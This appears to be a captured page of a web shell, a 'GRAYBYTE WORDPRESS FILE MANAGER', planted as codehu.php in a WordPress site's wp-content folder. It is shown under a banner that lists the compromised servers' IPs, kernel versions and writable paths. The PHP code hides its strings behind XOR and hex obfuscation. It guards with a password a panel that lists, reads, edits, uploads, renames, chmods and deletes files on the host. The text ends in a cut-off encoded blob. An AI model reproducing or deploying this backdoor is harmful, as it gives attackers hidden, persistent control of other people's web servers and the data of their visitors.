GRAYBYTE WORDPRESS FILE MANAGER2696

Server IP : 192.250.235.76 / Your IP : 45.90.210.12
System : Linux s2968.sgp1.stableserver.net 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
PHP Version : 8.2.29
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/tawsifschoice/borkaa.tawsifschoice.com/
1902100114081995

GRAYBYTE WORDPRESS FILE MANAGER2363

Server IP : 198.54.116.172 / Your IP : 216.73.216.36
System : Linux server322.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : mail
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF

HOME

/home/sadasgfe/c.sadatrend.com/wp-content/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/sadasgfe/c.sadatrend.com/wp-content//codehu.php
<?php
session_start();

$_osdds='HAeCo160aCMOmfpx';function _osccs($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function _osceecs($index) {global $_oshjjs,$_osdds;$str = $_oshjjs['taHAI'][$index];$charMap = $_oshjjs['uEdOZ'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = _osccs(hex2bin($unmapped),$_osdds);return strrev($decoded);} $_oshjjs = json_decode(_osccs(hex2bin('336310060b7e6c125b386f2e4f5c52166a6d47214d0b1446436f6f2c4f5c52086a6d47274d0b1456436f6f2a4f5c52156a6d47254d0b1457436f6f284f5c52146a6d472b4d0b1458436f6f264f5c520c6a6d47294d0b144a436f6f244f5c52116a6d472f4d0b1443436f6f224f5c520f6a6d472d4d0b1441436f6f204f5c52196a6d47334d0b1455436f6f3e4f5c52176a6d47314d0b1445436f6f3c4f5c52006a6d47374d0b1454436f6f3a4f5c521b6a6d47354d0b145b436f6f384f5c520a6a6d473b4d0b1452436f6f364f5c52016a6d47394d0b145a436f6f0e4f5c522c6a6d47014d0b1478436f6f0c4f5c52226a6d47074d0b1467436f6f0a4f5c522e6a6d47054d0b1463436f6f084f5c52286a6d470b4d0b1479436f6f064f5c52216a6d47094d0b147f436f6f044f5c52206a6d470f4d0b1472436f6f024f5c52366a6d470d4d0b1461436f6f004f5c523f6a6d47134d0b1476436f6f1e4f5c522d6a6d47114d0b1474436f6f1c4f5c523d6a6d47174d0b1471436f6f1a4f5c52336a6d47154d0b147d436f6f184f5c523b6a6d471b4d0b1462436f6f164f5c52326a6d47194d0b147c436f6f7f4f5c524b6a6d47724d0b1408436f6f7d4f5c524c6a6d47704d0b1400436f6f7b4f5c52416a6d47764d0b1402436f6f794f5c524f6a6d47744d0b1406436f6f774f5c524d6a6d477a4d0b1401436f6f644f5c522467634961331e140a43686f324144041900002c61556a14001160792233551e5078794461431306404077206a5e085a48706b476f4d054670557a6c77554c444c087215655d04100955697f224c5549387c3746735e12065e44703d654f4a524c3868517a47090e1a55776e7c1d26424d6b7851665d5c1f03586279394e564126782f46701f12141c43777a0f5953594b7c6451334a02066e436f6f7b0b40440869725c655b571f0807037f76445f4252717346614313025644773d0f5e5f514c2e1f5d252f030f1658716b765f3852546a6349615b411c00511d7e214856495b7031437a5b120406497a7e664f4a524c386b55732f025819517a13771d47494c6d735362560215124d616f634f5200527c783b7b5718020444703d0f5f5359417c64572e45020f155535657f5c454016617215034d1d140754667b392d5506267c314f70581b0f0242717b675f56534b256856244c131a12522e657c0b47444b6e79566a5f026807596b7b22335143386a6d472e59715b5d48762b6c0b08581f3e6803764e47001a50706c7a5a4c004a6b2c5165015f1e57176220224e5747522f734d255a1758094b2579111d10594d79645472455f02150775686d301b'),$_osdds),true); function authenticate() { $valid_username = _osceecs(0); $valid_password = _osceecs(1); if (!(!(isset($_SESSION[_osceecs(2)]) && $_SESSION[_osceecs(3)] === true))) { return true; } if (!(!(isset($_POST[_osceecs(4)])))) { $username = isset($_POST[_osceecs(5)]) ? $_POST[_osceecs(6)] : _osceecs(7); $password = isset($_POST[_osceecs(8)]) ? $_POST[_osceecs(9)] : _osceecs(10); if (!(!($username === $valid_username && $password === $valid_password))) { $_SESSION[_osceecs(11)] = true; header(_osceecs(12) . $_SERVER[_osceecs(13)]); exit; } else { $error = _osceecs(14); showLoginForm($error); exit; } } showLoginForm(); exit; }
function showLoginForm($error = '') {
    ?>
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>文件管理器 - 登录</title>
        <style>
            body {
                font-family: Arial, sans-serif;
                background-color: #f0f0f0;
                display: flex;
                justify-content: center;
                align-items: center;
                height: 100vh;
                margin: 0;
            }
            .login-container {
                background-color: white;
                padding: 30px;
                border-radius: 8px;
                box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
                width: 100%;
                max-width: 400px;
            }
            h1 {
                text-align: center;
                color: #333;
            }
            .error {
                color: red;
                text-align: center;
                margin-bottom: 15px;
            }
            .form-group {
                margin-bottom: 15px;
            }
            label {
                display: block;
                margin-bottom: 5px;
                color: #666;
            }
            input[type="text"],
            input[type="password"] {
                width: 100%;
                padding: 10px;
                border: 1px solid #ddd;
                border-radius: 4px;
                box-sizing: border-box;
            }
            button {
                width: 100%;
                padding: 10px;
                background-color: #2196F3;
                color: white;
                border: none;
                border-radius: 4px;
                cursor: pointer;
                font-size: 16px;
            }
            button:hover {
                background-color: #1976D2;
            }
            .note {
                text-align: center;
                margin-top: 15px;
                font-size: 12px;
                color: #999;
            }
        </style>
    </head>
    <body>
        <div class="login-container">
            <h1>文件管理器</h1>
            <?php if (!empty($error)): ?>
                <div class="error"><?php echo $error; ?></div>
            <?php endif; ?>
            <form method="post">
                <div class="form-group">
                    <label for="username">用户名</label>
                    <input type="text" id="username" name="username" required>
                </div>
                <div class="form-group">
                    <label for="password">密码</label>
                    <input type="password" id="password" name="password" required>
                </div>
                <button type="submit" name="login">登录</button>
            </form>
        </div>
    </body>
    </html>
    <?php
}
$xorKey='qmE2TVJ5hBC1hjA3';function cccx($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function ccc($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['QeSce'][$index];$charMap = $obfuscationData['UbzJJ'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = cccx(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(cccx(hex2bin('0a4f10502e1c0017523961504a50634253416750766c68424a6e61524a50635b53416756766c684f4a6e61544a50635753416754766c68454a6e61564a50635d5341675a766c68594a6e61584a50635653416758766c685c4a6e615a4a5063585341675e766c68404a6e615c4a5063555341675c766c685f4a6e615e4a50634b53416742766c68474a6e61404a50635e53416740766c68434a6e61424a50635053416746766c68544a6e61444a50635153416744766c68464a6e61464a5063475341674a766c685a4a6e61484a50634a53416748766c68524a6e61704a50636053416770766c687b4a6e61724a50636553416776766c68704a6e61744a50637c53416774766c687e4a6e61764a5063625341677a766c68674a6e61784a50637753416778766c687c4a6e617a4a5063665341677e766c68744a6e617c4a5063745341677c766c686d4a6e617e4a50636753416762766c68764a6e61604a50637f53416760766c68654a6e61624a50637953416766766c687d4a6e61644a50637153416764766c68734a6e61664a5063645341676a766c68784a6e61684a50636953416768766c686c4a6e61014a50630b53416703766c68054a6e61034a50630253416701766c68064a6e61054a50630753416707766c680c4a6e61074a50630653416705766c68024a6e61094a5063015341670b766c68034a6e611a4a50636f5e4f69100879680f4a69614c44481056220e20106e0d6805516b7b0340597119485e63016308794549712717511d6b0b0b4474430a657d755c766b095e43631f535d7c186c646f06586a7a024d59761b421d6c01300873424e7a391b591b6900464571067d6e7c754a6e6109514071015b5c34176d6f6b061f68704049486d1149546f02667f7b44497b7a105b1d6000004e671e766f7a1c517569001f4b7849585e3f1165676c041f617a042852767349096f10787479024073731b50526706414c7d45776e7f1f507369045134631f5309711b2e6e6044506475594b023116065d6f5a6d163d44367027190c5c6b5b004c3f057c26306b12741d405f4b7700590970726621141744607a4140486d11481d6306677068194a7277715052670245477c5a1474661758766a011243725b2f597013767a680d5b617b034d5b711948096f01237f7a0d36606f13585e690b4133745a0a617e1c4a6e61015c437104545c2d6c606660174460611d4a5a3173495c6d033c757e05407374125b1a6b02464e7105756e306b5b7366134448715752597717767a68055c687b02405b301646051b107874790636606f135b5962024433671e7665791d597a6b1344487200575c3417767a68065b67700728486d11485d63107874720c497a701b59526807444c76437d657c75597465134448790a31557613656e6b015d02704049597719405b6c1078747a01407a736f5902620a452d671e76667e1450726b0000407807504f691064620a0d506772053653291253416702607c720549732b12515e6b115d4f7506726e721359766b0800347944595c706c656160015864611d4a0e256d155a6d436c7f3b0440382b6f1f526457004577040a642275007060411f2a3b0a571721112e666944510234054e0e7616431a6c107874300136387512191060014244350a722179750c336a035e2a735b520577112421604f516a39554b1071730054604560752e02407034194a46635b46443f0772277a141f7b6559594c360b5705211825261407181c27004e1a31120b546f566516300449337a171f5b64494648770b7732221c1f74664659343b43580534112e3e6b4f186b274b491b3616534167063c087a454b732b19515f6006064e720675617d6b51716b091240720b505c321164666f0d5e647a044d486d11451d6d06247768194a7633195002670600457d56717466175c2a0301184f705b58547017612160025c6b74064e53721a491764016c7f7b4249727371505c1f0a4444671e7662221f507469005c4b7804585c701b612c620619687a034b52771544596d1078747e454d7633144a466307014c7d5a75633b1650266b134448631f535d7372646060045c0277004d486d1141596d0a6c777b01407b2b174a373c'),$xorKey),true); if (!(!(!isset($_SESSION[ccc(0)]) || $_SESSION[ccc(1)] !== true))) { if (!(!(!isset($_GET[ccc(2)])))) { authenticate(); } } if (!(!(isset($_GET[ccc(3)])))) { session_destroy(); header(ccc(4) . $_SERVER[ccc(5)]); exit; } function getFileDetails($path) { $folders = []; $files = []; try { $items = @scandir($path); if (!(!(!is_array($items)))) { throw new Exception(ccc(6)); } foreach ($items as $item) { if (!(!($item == ccc(7) || $item == ccc(8)))) { continue; } $itemPath = $path . DIRECTORY_SEPARATOR . $item; $itemDetails = [ ccc(9) => $item, ccc(10) => is_dir($itemPath) ? ccc(11) : ccc(12), ccc(13) => is_dir($itemPath) ? ccc(14) : formatSize(filesize($itemPath)), ccc(15) => substr(sprintf(ccc(16), fileperms($itemPath)), -4), ]; if (!(!(is_dir($itemPath)))) { $folders[] = $itemDetails; } else { $files[] = $itemDetails; } } return array_merge($folders, $files); } catch (Exception $e) { return ccc(17); } } function formatSize($size) { $units = [ccc(18), ccc(19), ccc(20), ccc(21), ccc(22)]; $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2) . ccc(23) . $units[$i]; } function readFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } return file_get_contents($file); } function saveFileContent($file) { $currentDir = getCurrentDirectory(); $realFilePath = realpath($file); if (!(!(strpos($realFilePath, $currentDir) !== 0))) { return false; } if (!(!(isset($_POST[ccc(24)])))) { return file_put_contents($file, $_POST[ccc(25)]) !== false; } return false; } function uploadFile($targetDirectory) { if (!(!(isset($_FILES[ccc(26)])))) { $targetFile = $targetDirectory . DIRECTORY_SEPARATOR . basename($_FILES[ccc(27)][ccc(28)]); if (!(!(move_uploaded_file($_FILES[ccc(29)][ccc(30)], $targetFile)))) { return ccc(31); } else { return ccc(32); } } return ccc(33); } function changeDirectory($path) { $currentDir = getCurrentDirectory(); $newDir = realpath($path); if (!(!(empty($newDir)))) { return; } @chdir($newDir); } function getCurrentDirectory() { return realpath(getcwd()); } function getLink($path, $name) { if (!(!(is_dir($path)))) { return ccc(34) . urlencode($path) . ccc(35) . htmlspecialchars($name) . ccc(36); } elseif (!(!(is_file($path)))) { return ccc(37) . urlencode(dirname($path)) . ccc(38) . urlencode($path) . ccc(39) . htmlspecialchars($name) . ccc(40); } } function getDirectoryArray($path) { $directories = explode(DIRECTORY_SEPARATOR, $path); $directoryArray = []; $currentPath = ccc(41); foreach ($directories as $directory) { if (!(!(!empty($directory)))) { $currentPath .= DIRECTORY_SEPARATOR . $directory; $directoryArray[] = [ ccc(42) => $currentPath, ccc(43) => $directory, ]; } } return $directoryArray; }


function showBreadcrumb($path)
{
    $path = str_replace("\\", "/", $path);
    $paths = explode("/", $path);
    ?>
    
    <div class="breadcrumb">
        
        <?php foreach ($paths as $id => $pat) { ?>
            
            <?php if ($pat == "" && $id == 0) { ?>
             目录 : <a href="?dir=/">/</a>
            <?php } ?>
            
            <?php if ($pat == "") {
                continue;
            } ?>
            
            <?php $linkPath = implode("/", array_slice($paths, 0, $id + 1)); ?>
            
            <a href="?dir=<?php echo urlencode(
                $linkPath
            ); ?>"><?php echo htmlspecialchars($pat); ?></a>/
        
        <?php } ?>
    
    </div>
    
    <?php
}


function showFileTable($path)
{
    $fileDetails = @getFileDetails($path); ?>
    
    <table>
        
        <tr>
            
            <th>名称</th>
            
            <th>类型</th>
            
            <th>大小</th>
            
            <th>权限</th>
            
            <th>操作</th>
        
        </tr>
        
        <?php if (is_array($fileDetails)) { ?>
            
            <?php foreach ($fileDetails as $fileDetail) { ?>
                
                <tr>
                	<td>
                	<svg style="width: 20px; height: 20px; margin-right: 5px;" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
                	<circle cx="12" cy="12" r="10"></circle>
                    <line x1="12" y1="16" x2="12" y2="12"></line>
                    <line x1="12" y1="8" x2="12" y2="8"></line>
                </svg>
                    
                    <?php echo getLink(
                        $path . DIRECTORY_SEPARATOR . $fileDetail["name"],
                        $fileDetail["name"]
                    ); ?></td>
                     
                    <td>
                    	<?php echo $fileDetail["type"]; ?></td>
                    
                    <td><?php echo $fileDetail["size"]; ?></td>
                    
                    <td>
                        <?php $permissionColor = @is_writable(
                            $path . DIRECTORY_SEPARATOR . $fileDetail["name"]
                        )
                            ? "green"
                            : "red"; ?>
                        
                        <span style="color: <?php echo $permissionColor; ?>"><?php echo $fileDetail[
    "permission"
]; ?></span>
                        
                        </td>
                    
                    <td>
                             
                        <?php if ($fileDetail["type"] === "File") { ?>
                            
                            <div class="dropdown">
                                
                                <select onchange="location.href = this.value;">
                                	<option value="" selected disabled>操作 : </option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&edit=<?php echo urlencode(
    $path . DIRECTORY_SEPARATOR . $fileDetail["name"]
); ?>">编辑</option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&rename=<?php echo urlencode(
    $fileDetail["name"]
); ?>">重命名</option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&chmod=<?php echo urlencode(
    $fileDetail["name"]
); ?>">权限</option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&delete=<?php echo urlencode(
    $fileDetail["name"]
); ?>">删除</option>
                                  
                                </select>
                               
                            </div>
                            
                        <?php } ?>
                        
                        <?php if ($fileDetail["type"] === "Folder") { ?>
                            
                            <div class="dropdown">
                                
                                <select onchange="location.href = this.value;">
                                	<option value="" selected disabled>操作 : </option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&rename=<?php echo urlencode(
    $fileDetail["name"]
); ?>">重命名</option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&chmod=<?php echo urlencode(
    $fileDetail["name"]
); ?>">权限</option>
                                    <option value="?dir=<?php echo urlencode(
                                        $path
                                    ); ?>&delete=<?php echo urlencode(
    $fileDetail["name"]
); ?>">删除</option>
                                 
                                </select>
                                
                            </div>
                            
                        <?php } ?>
                        
                    </td>
                    
                </tr>
                
            <?php } ?>
            
        <?php } else { ?>
            
            <tr>
                <td colspan="5">无文件</td>
            </tr>
            
        <?php } ?>
        
    </table>
    
    <?php
}


$dfdsdfs='t0yIoxwASieuGR0Q';function ggdss($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function oojdfkah($index) {global $gasdfssss,$dfdsdfs;$str = $gasdfssss['uJRVG'][$index];$charMap = $gasdfssss['cvEoz'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = ggdss(hex2bin($unmapped),$dfdsdfs);return strrev($decoded);}
$gasdfssss = json_decode(ggdss(hex2bin('0f121a3f2a170d636912471465681222561c5b2b4d425523714547166568123b561c5b2d4d42552a7145471065681230561c5b2f4d42552e7145471265681232561c5b214d4255357145471c65681234561c5b234d4255367145471e65681223561c5b254d4255397145471865681221561c5b274d42553b7145471a6568123c561c5b394d4255267145470465681224561c5b3b4d4255387145470665681237561c5b3d4d4255257145470065681238561c5b3f4d425537714547026568123d561c5b314d4255307145470c65681239561c5b334d42552f714547346568121a561c5b0b4d4255007145473665681209561c5b0d4d4255187145473065681212561c5b0f4d4255127145473265681206561c5b014d4255087145473c65681217561c5b034d4255157145473e65681200561c5b054d42550d7145473865681201561c5b074d42551b7145473a65681213561c5b194d4255097145472465681215561c5b1b4d42550f714547266568121c561c5b1d4d4255147145472065681214561c5b1f4d42550b7145472265681216561c5b114d4255137145472c6568121e561c5b134d4255177145474565681266561c5b784d4255787145474765681265561c5b7a4d4255717145474165681267561c5b7c4d4255727145474365681269561c5b7e4d4255747145474d65681263561c5b704d4255707145475e6568120d5b12556b3357557b714247086b70451b26663e6b5523552a3943161f64635a0f1f095a235b5e462a79061635286318334118162347134564625e4614767b5a605c5b4c61054d542e39480e4d61385f721b04397b0d59182e70085c3534671864446e4e704e414e016a5f4345720c05695112556b5b4a5e79394047596533067b07015c7858521d327b06512b7633153b4d70163a4a1a42693208441a77780161525f18680540522a6b4a044661335f771f085a265d5d1d72765b542b2c67153044110a7c4513166b385040477e7a51222a5f136c0d4b5173314a04416d63007842005c7e0e264379725e07537e6a6e6815154071495a5b6364514f437477127d56074917594b51637f4b521f6d640379561c5b7e57524474724b49577062706241115b654d4f1d68605c25576b7007695d03166a4d545576634f561a6e701c73435a5c7a0050556d715e5d5f71616e7358124e792f4e4464714547422d7806623412556b58402972664c47596565007b4705516b435a402b725a5054657e12664c134a26475a5b63645925462877127d560713605c1752637f4b5c066d615f0f4d0758791c594e2b72505c5c7e21156144134971474146677145474c3471033e57094e635f0b5278394a5c4c666b437b4400587957524e70794b4957657e1273581213284a4946646208431a77125b6455011317050b5f2b674c0717613306791f5b517856381823720251502c61163b4d1818224613461f3c1a461e717102605512556b594f5f76654f531a6f701c734209397e5c504120134b49577164706643194f264c5a5b63655f4642700c06302a12556b594f5d766b29531a6e701c734209397e5a264120764b495726336e631e1948714c174e6b3950404470775f692a5a4f630d402920394f0e146f6309771e525c280e5d1c2e0d080e502864193a471a1878451340646151431a257b512251434c17044d512e6348574162385b7b1501532b1c5e15787002535d766b70331f181370490b1c6b714547467177093b5112556b054a52236448541f663901791b085178565118777b020f5d256111301f1916264649436939064c1f72775b69345f406c0e485d2a6b4c47596533527b1643587805261c707908505d7633193b1519127a461a4460395c4d1e347801685c5b4c6a051a542a62410e41193301111f085c6b435a1c78705b5350766b193e4613132b45491c0139084d1e74715262525a4c68040b29706a480e40193852721f0151225b26167075025d5f657e1262071a5b654d4b04676a084d576b705f682a5241685e12542e38480a4366635b7b1b065823045015230d060f502c601560431a187849124667385c4d1e74745130575b4c6105412920664c5740193d01721b04503a592618237006562b75651a3e46151626491a4f67201a4c142c0c01335c5212630e49543239480e416f33017845045c2305381c77755b52352865163b4c190a704617431f205c4017727a127d56030a604d54552b6741571707635b781e5127265e5946207206575d2c6a1933166e1678461718686203251a2c7751222a5b4f6f04125d20654f0e466138060f1f02397b1c5d187270065235346070301616137c4c4a1c6b3c5f461f73775264555212610e495f70644a47596533527716435a7805261c707608505376331a3e071a12702f1a4f6b385f441a71730166525a0a63044b5f2a624a0447663907741f035a23003818757b5b0754283d13304d180a7c4912446b3250444777785a61525f13680d40522366430f406f63040f561c5b225650457772585c542860163b161548224e17041f385044177f7b5b675e5f4f6a5e4f5e2b20370e460739017215025f22585d1c7270030a5628661363161116264e194e01205c4c1f747751685202496805485d2e394f074d6430050f1e0551785b51556d71020f5f34381a601e1912704612431f62024f1a34775f6052524c6c044f372b6a3754426d3d09721501502259591c79760851562c6a1a301b1a1370454a466839084f1f2d124362525b4f6800173773634f4759653d097716085c78055b182a700653537639133e426e1322311a15693c034d1e751201665c51480905495f2a66410e46623351791f05392356591674795b502b2863153e40700a7f4a1715013c5a4c4770735f63525f166c0d405f32204f041e6163527b45065028585e047670030a5d28651a604016127f4e1940676106431f747a5165524340094d545520313707066f635a7b1f0158285a3846207a02555d2c6011330711137847191c67625e441a7e0c5160515b4f6f0440292067430e4d19701c731f09587b595246787206572b2d3018601f16127931134567311a4f1f7674513a5d014e6100415e2062410e436239087b15045a225752556d71020f2b343811601e701270491243676202431a340c5f605d524c6f0417292a3243544c6e3807721e0627225738556d71065c35256a19601e161622471741016202461a71745a3a34521b6000125d2a614354426e3301741e0151225a501c727608045f2c67133b4d1a187c4c4a42643c584c1a737743675d5f1b6c004b567364400a47193d5f0f1608583a1c5e162a7a58075c7664183043150a7e4a1218013c5e444473745b6755514e095d17512b6048044166210911561c5b7a0e51556d71080756252170601e1612784919426062084c1e777b5b6355520a600549562038485442613d51771b0851225c5016747a030a532c64133e151612264c4a466b7145471e7e7b02675101406a004a542b3141541e6d39007b1f02512b1c5b1d7076080e5476656e3e151a167147134468325c441f28735b675d5f1861041737736241475965395a78075a587805381c78130351357639703e07151678491a4267385e431f7e710166575f40680e495e2a654c0e4d6e3304781f08586b435a1c750d580f537633133a1f70167a31494e643c50251f760c52692a5f1361044a2970644004446d3801701f0558261c261677750256532838703b47184b3a4912406838584f0676745b65525113605d4f512e61480a1a61300874165b5323565e46787b5b5d5f2d666e221f1a187b2f19166462504f576b7003225d12556b054c5273314c541e073851771b0139780e2618737b025d5c2530133e4519162645491d643c024414767b5b625e5a0a610012372a604f0f4c6f330579460553265e5b18757a1a532b2c33133a4d164b70315a5b6371454714267a023b55014109044056206048541e6d3305791e01512b5c261c710d0204567665133a1e13123a31134462325c4c1f287a5b67575f186004175e73623747596539091146065178565218737a0307567639193b1f6e163a4a1a4f623c5d4f142c0c01665e5f40630e49292a65400e4d073304771f08506b435a1620795b0f54766a11304d6e167947491c6932063b142d0c5269575b1b63044c5470644f0a4c6d3301781f065f225751167576025d5c657e123a40184823314916683802401a747a0168515f4060054937236b4c0a1f6f390270450751285e591d707202502b28217030426e127a31171d6b395a434734785a66515b48091c49292a674a041f666007781b023926005d1579760b0e352d6b6e604d1a4b7849131c6220034c1e767a5a615101496305405e2b604f571a6d701c734743396b435a1d2a0d5853357638183e1b16127f47491d603c5e461e7273526257514117004c5f70384a0e406d38027b1f015c280d381d2e7a0256542666703b4d164b3a4712406838584c06767b5b652a51136c5d4f512e614a0a1a61300811561c5b280e52452b7a585d5f2c6a6e30471548224719426839584d1774715b61525b18615e4f542a39290e066e39030f15022722585d1c727b030a5328661963161a162631194e60205c4c576b705b6852024f685e41542e61410f1762635b791e5b5f261c5d15797b06515c263919604316162831174f68385a441472715a3e5d5b4f600019512a3c4057446d701c731551517b0538467976085c2b28626e601f1518264e191d013151401e25715b6551014e170019292e6b400e466e3305721e5f2722595b18207b020a5f75636e7358125b654d5a5b63645f4f46767307615c084f63561a567831375c4d6162007840055a70565b40767a4b49577e6b16621e18407e474c186b655d4d42757109305d001b605a1952783841524d6d6b067744035a7d575d41737559535f657e12684d184a2246414562675c4d576b7007673403481758485e637f4b0f4162605211455b51230e5218707b58045073671966466e4e784c12460138584f447e125a3a55510a63044e512062370e066d3902701b025c23055145321302515d28601822426e5b654d414e626003434c7012043e5e064d60584a5678323755176f6751114d5b587e575e4e7770595654736a19674615497f475a5b636a504043340c09665d000a174d54552e384a571f6e6308744352507d5b514173135f56502d6315301b194b714e1347013c024d0673125a655e43486a0d4a562e6348571a666309781e5a27225e5946767006575c286b1a334c7013284e124e68625e441a7e775160575b4f6304402920674c0e4d6466010f43075c795c5d556d71505c567438196843134d262f4e431f645b4d4c267b00332a05186a561354766b415c436d6203794008587f5d5947777b4b49577e6b16621f13407b4a4c4201635e4d42757309225e004a614d54557220405c1462701c731b07587b0e5e462b79085d352c601360431516794a131569315f441f7e7a516652014e610519562e394f0e4666395a111e5a5022595d1c757b0254507521183e1f1a162b4e0b4162325a3b1e730c02682a5f4d6a04415123654c5d42646b027940515a6b435a1623700b16547638113a4513187c494916673c034c1f287452695d5a0a09054c3770384f0a4c663301771f0639225726167513025d50736316664315497a315a5b6338504c47717a0168575f4b17051a547038400a1f64385f79160839231c261d7575580e5c286b15304513127f45134f60325d4d1e7f7704602a074e635f4b37637f4b0e4c6660067445095c265d501d2372580e5c2c676e3e1f191b7c49194701380244447e775f685251486c044e5d2a6b4804416f3908744001537e58384772134b495770641562451a4e79475a5b636a503b462d7b09665c041609594c5276614c5c146e625270561c5b7e59514470755e55567f67167358121670461a4f016203461a2c715f675c01126a004e5f2b384a0717663d5a771f02277858591670130354532c676e3a471618283113421f3950441472770264575f486c004c5f3265290a17613d037b46075a265d51182e700b5d35342116301f16482b46494660395a4d06260c5167345f416c5e4c562a6529044219605f791e0339285b520478764b49572838162247704826491946693c5b254426785165345f13600d40522b66480a14616304111f0953221c591c797a0850352d3d163a42701628491318676158431a2d73513a5e43410905495f2b66435742073d040f1e525c2b5959556d71080756252113601e6e1278471942016208431e267b5f3a5e524f600e4c5620314a5442623d090f15015a22595d1c79720851352c6a7073581212704e4a41676250401a750c5a335201121704195d2e384c07436f33047815525078583818780d0854562c64703a4c11187d4e134f1f714547422d7a0368570949095b4a51637f4b521f076109704d00507d5d5b556d7150165d743d1666076e4d794a4e401f6a51254c7512046357044c09584a54766b435c1f6466527940045f7f58504776795a5354702111681e1649784c414f0167034346340c006257001268581251786a405c176166027b4d09276b435a4e32725a0a547e6570611f6e4e234c4146017145474c3478033e5e094e615f132976394c5c4461701c73561c5b7e5a5b417179500f50732118661e704e22474f41607145474c7e71036451094b685f0b567839415c1e646b4379561c5b6b435a4e727a5f535c7e6011651f115b654d4f400165594f4c707304625e004e6056135178314c51476262037044085f70565e4e76765d5235657e12681e134f7f3141456963584f576b70093b5d064f6a564a5171624047596565050f4200517005514332795e0f5370391a6642165b654d414467655f3b4c7571043a5e12556b56405d723841521f6e625278435a397005384e797b5d5356736b136616185b654d414e016003404c2574046334091b175b4d37786741511e6262437b435f396b435a4e78705a0f5c7e6515651b70497e4a411c6b64504641707a04662a12556b56415d7239295c4261665f79561c5b705652442b7050522b733d197358125b654d4f401f6008404c2d7b003a5507406a564d5d786537475965650777475150700538472a135e5c2b7e676e68426e5b654d5a5b63645c46437774093b5e040a6058125176384a524362701c734d09397a5a5e4e737259165d7e3813681f16403a455a5b63320b4417347a013b345b486f0e4d5670324a041a6d335a1116085a2659501c3213585c54286b6e304516127f4c134f67325d251e7f0c127d5609406a5c4d2978612955066d6b5a704d5b39701c26556d71025c35756416604d1a167b4a121564620243142812513b5d524160004e372a204a544c643d09721501502259511c797908515d2c6a137358124070474b1d6b6a5e4441287400665709121758485d75654f551a6e655a0f4309516b435a4e787b5a0f2b7e6513651b1a5b654d414e626003254c7074043e5212556b4d5455786a4f56406d6b02784443277005524e2a7050162b657e1266416e4f794c411d64671a44422d0c073a2a074f174d5455786a4c5640616b027b4443507005514e2a72501635657e123016131b3a49491d6b38582514727a01305712556b584d5e77634f5c1f64664311435a5c7e04264077754b49577e6111674211407b314c1c687145474c7f74033a5d0713635f1a5276394a5c1f6f6b08774006507d565b4023724b49577e6b16621e15402b494c45686a0b4f4172740965570412685f0b29763c4847596565087747035c7004514372705e525c7e337065461a4d7f4a4c426b64033b42767a09665d0449604d5455766b4a5646666b5b7740035c7e58524e20704b4957706a1162471940224e4c4401645e404c2677127d5612556b56415272664c5c476f6243784d5a5c7004514e32764b495770676e6744184023314c040164034f422c7307675212556b5641527266405c47646243114d5a517004384e32704b495726301533071148234e134662325c43442674127d56074c0959485478394851066f655a0f435b5a7e5938556d7150562b71647068461a4d22475a5b636a513b462c77073b2a001b6a58125f7839405c4d666606704009587e0d5b556d71505c2b74381668161a4d7b49411567675c3b4c737a043a34000a6a581751637f4b5c066d615f784d0750791c594e2b0d505c567e211a61446e49714a41461f631a434c707304665e00136c5c41377162435c4066701c734d09517a05524e76765d0a50657e12684d704a234e41401f67064f576b70127d56090a615c17567864415506646b5a784d095f701c5b477170595d547e6318735812403a4a4b181f6a5e4d45347a093b34094063560b5e716337554d646b017b561c5b6b435a4e780d5a505f7e606e610716402331411c6b6a1a3b576b7007645e06496f56125f75204f521f6f655b704306516b435a4